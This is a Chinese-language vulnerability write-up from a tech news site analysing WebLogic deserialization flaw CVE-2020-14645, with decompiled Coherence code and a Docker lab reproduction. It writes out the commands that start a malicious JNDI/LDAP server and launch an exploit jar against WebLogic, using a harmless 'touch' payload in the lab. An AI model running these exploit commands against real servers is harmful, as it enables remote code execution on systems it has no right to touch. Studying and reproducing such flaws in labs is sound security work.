WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的

发布时间:2021-12-28 20:08:55 作者:柒染
来源:亿速云 阅读:146

今天就跟大家聊聊有关WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 简介

WebLogic 是美国 Oracle 公司的 Java 应用服务器,确切说是一个中间件,被用于WEB应用、数据库应用等的集成开发部署。WebLogic 的 T3 协议易被利用,从而采用 JNDI 注入、反序列化方法达到远程代码执行的目标。存在安全缺陷的版本:WebLogic12.2.1.4.x,【JDK版本:6u211以下;7u201以下;8u191以下】。本文使用JDK1.8.0_181。

1.3 漏洞挖掘能力条件

认为应掌握JNDI注入方法,并清晰WebLogic的coherence源码的逻辑功能。

1.4 利用方法

1.4.1 环境

在 WIN10 的 WSL2 下用 docker 镜像 weblogic122140jdk8u181new:latest、ubuntu 创建三个容器,称为weblogic122140jdk8u181new、ubuntu-JNDI、ubuntu-gongji,作用分别为WebLogic 服务器、JNDI服务器、攻击机。对于 weblogic122140jdk8u181new 容器【ip:172.17.0.2】的生成过程,需要进入【WeblogicEnvironment】文件夹,参照【https://github.com/QAX-A-Team/WeblogicEnvironment】方法即可生成,命令是:

docker build --build-arg JDK_PKG=jdk-8u181-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.2.1.4.0_wls_lite_generic.jar  -t weblogic122140jdk8u181new .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic122140jdk8u181new weblogic122140jdk8u181new

对于由 ubuntu 镜像生成的 ubuntu-JNDI 容器【ip:172.17.0.3】,将 jdk-8u181-linux-x64.tar.gz、JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar拷贝至容器内,参照【https://www.cnblogs.com/hellojesson/p/11684299.html】安装好jdk,执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE -A 172.17.0.3

对于由ubuntu镜像生成的ubuntu-gongji容器【ip:172.17.0.4】,将jdk-8u181-linux-x64.tar.gz、CVE-2020-14645.jar拷贝至容器内,参照【https://www.cnblogs.com/hellojesson/p/11684299.html】安装好jdk。1.4.2 目标在 WebLogic 服务器执行代码【touch /tmp/CVE】,从而在 tmp 文件夹下生成 CVE 文件。 
1.4.3 复现ubuntu-JNDI 容器会输出可利用的 LDAP 链接,本次输入结果如下:WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的
则在攻击机 ubuntu-gongji 容器中输入转发类命令如下:WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的

注意标红位置 LDAP 链接尾部是随机产生的,每次均不一样。weblogic122140jdk8u181new 容器会出现经代码执行后生成的文件:

WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的
1.4.4 分析方法【省略部分代码分析】程序运行时,会跳转至下图红框中的 coherence 库中执行部分功能。WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的
com.tangosol.util.extractor.UniversalExtractor 类中:protected transient String m_sNameCanon;private transient TargetReflectionDescriptor m_cacheTarget;private transient boolean m_fMethod;com.tangosol.util.extractor.UniversalExtractor#extract 方法中的 com.tangosol.util.extractor.UniversalExtractor#extractComplex方法中:

Class clzTarget = oTarget.getClass()Class[] clzParam = ClassHelper.getClassArray(aoParam)String sCName = this.getCanonicalName();#【无参的函数或空值】boolean fProperty = this.isPropertyExtractor()Method method = nullif (fProperty) {#【方法对象的获取只有一个条件】String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);#【首字母大写for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);#【对由get/is+字符组成的新字符进行处理】【ClassHelper.findMethod查找与指定类、方法名称和参数匹配的重要方法】【指定函数必须由“get”或“is”开头,且无参】}} else {method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);}

初步认为,进入 else 分支中,即可调用任意方法,前提是 fProperty 为false。经研究,fProperty 由 !this.m_fMethod 决定,其赋值如下 init() 函数:

protected void init() {String sCName = this.getCanonicalName();this.m_fMethod = sCName == null || sCName.endsWith("()");#【sCName为无参函数时符合要求】}

fProperty 方面,当 sCName 不是无参函数且非空时,fProperty 为 true。继续分析 String sCName = this.getCanonicalName();,追溯到类com.oracle.common.internal.util.CanonicalNames 的方法com.oracle.common.internal.util.CanonicalNames#computeValueExtractorCanonicalName(java.lang.String, java.lang.Object[]):

public static String computeValueExtractorCanonicalName(String sName, Object[] aoParam) {#【此方法要求函数必须是无参的】int nMethodSuffixLength = "()".length();if (aoParam != null && aoParam.length > 0) {return null;#【参数非空则返回空】} else if (!sName.endsWith("()")) {return sName; #【函数名不以“()”结尾则返回函数名】} else {String sNameCanonical = sName;int nNameLength = sName.length();String[] var5 = VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES; #【“get”,“is”】int var6 = var5.length;for(int var7 = 0; var7 < var6; ++var7) {String sPrefix = var5[var7];int nPrefixLength = sPrefix.length();if (nNameLength > nPrefixLength && sName.startsWith(sPrefix)) {sNameCanonical = Character.toLowerCase(sName.charAt(nPrefixLength)) + sName.substring(nPrefixLength + 1, nNameLength - nMethodSuffixLength); #【函数名前几位是“get”/“is”,去除尾部“()”】break;}}return sNameCanonical;}}

综上,有三种方法。

对于方法1,可找到合规函数名,再找可序列化的对象(例如,控制dataSource,就能控制javax.sql.rowset.BaseRowSet#getDataSourceName,进行JNDI注入。 

1.5 补丁分析

暂无。 

1.6 docker复现

加载容器tar为镜像,例子:

cat ./ubuntu-xxx.tar | docker import - ubuntu-new

设置局域网及容器ip、启动容器,例子:(1)自定义网络

docker network create --subnet=192.168.10.1/24 testnet

(2)启动 docker 容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

当容器【ubuntu-JNDI1106】的ip是172.17.0.3、容器【ubuntu-gongji1106】的ip是172.17.0.5、容器【weblogic122140jdk8u181new1106】的ip是172.17.0.4时,启动 weblogic 服务。进入容器【weblogic122140jdk8u181new1106】,输入命令

sh /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

启动成功,如下图。

WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的

启动 JNDI 服务。进入容器【ubuntu-JNDI1106】,依次输入命令

source /etc/profile
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE110667 -A 172.17.0.3

可知适用于 jdk1.8 的 JNDI 访问链接为【ldap://172.17.0.3:1389/usns1q】,如下图。WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的

发起攻击。进入容器【ubuntu-gongji1106】,依次输入命令

source /etc/profile
java -jar CVE-2020-14645.jar 172.17.0.3:1389/usns1q http://172.17.0.4:7001

“172.17.0.3:1389/usns1q”部分为JNDI链接,攻击成功会返回weblogic版本,如下图。WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的

攻击成功后,容器【ubuntu-JNDI1106】会显示传输信息,如下图。

WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的

攻击成功后,weblogic服务器会生成【CVE】文件,如下图。

WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的

看完上述内容,你们对WebLogic UniversalExtractor反序列化漏洞CVE-2020-14645的分析是怎样的有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。

推荐阅读:
  1. WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)分析
  2. WebLogic CVE-2019-2647~2650 XXE漏洞分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

weblogic universalextractor cve-2020-14645

上一篇:怎样分析及复现Zoho 任意文件上传漏洞

下一篇:SolarWinds Orion API 远程代码执行漏洞CVE-2020-10148的分析是什么样的

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》